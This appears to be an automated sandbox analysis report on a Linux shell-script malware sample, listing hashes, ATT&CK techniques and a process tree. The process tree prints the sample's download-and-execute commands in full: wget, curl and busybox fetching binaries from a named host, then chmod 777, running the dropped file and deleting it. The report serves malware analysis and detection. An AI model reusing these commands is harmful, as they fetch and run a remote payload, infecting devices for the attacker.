2428d6445f99e9687723bd329876ec5b3c262203e7361f5952c061052530fad4

Analysis

max time kernel
150s
max time network
11s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/11/2024, 01:26

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General

Target
e4879d1e543298df6a627144491470d72ce77e2c4774bd76a9afc8d9861c159b.sh
Size 10KB
Sample241107-btqbaasfql
SHA256 e4879d1e543298df6a627144491470d72ce77e2c4774bd76a9afc8d9861c159b
MD5 689dc2495b6b2746c1ff4ecc59d9c0c6
SHA1 1683e210e3cb3b39248824bc88309d3f76f782cb
SHA512 3d6c229430d1778891d8f1699cb98cf486e5b7926067a07b254d963d30960ae23eae580544b05269c7534276fac6e0b3865d984ec46da1d0a138652e41f21f31
SSDEEP 192:Dqyw2HH2Xfz/2ZpYcRD8igz/2ZpLpq2w2HHeU:DqynHH2XjcR8ibq2nHHeU
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
682	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA	684	0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
662	wget
668	curl
681	busybox
687	wget
690	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA	curl

/tmp/e4879d1e543298df6a627144491470d72ce77e2c4774bd76a9afc8d9861c159b.sh
/tmp/e4879d1e543298df6a627144491470d72ce77e2c4774bd76a9afc8d9861c159b.sh
1⤵
PID:653
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:659
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - System Network Configuration Discovery
  PID:662
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:668
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - System Network Configuration Discovery
  PID:681
- /bin/chmod
  chmod 777 0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  ./0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - Executes dropped EXE
  PID:684
- /bin/rm
  rm 0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  PID:685
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - System Network Configuration Discovery
  PID:687
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:690

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA

Path /tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

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Analysis

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General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads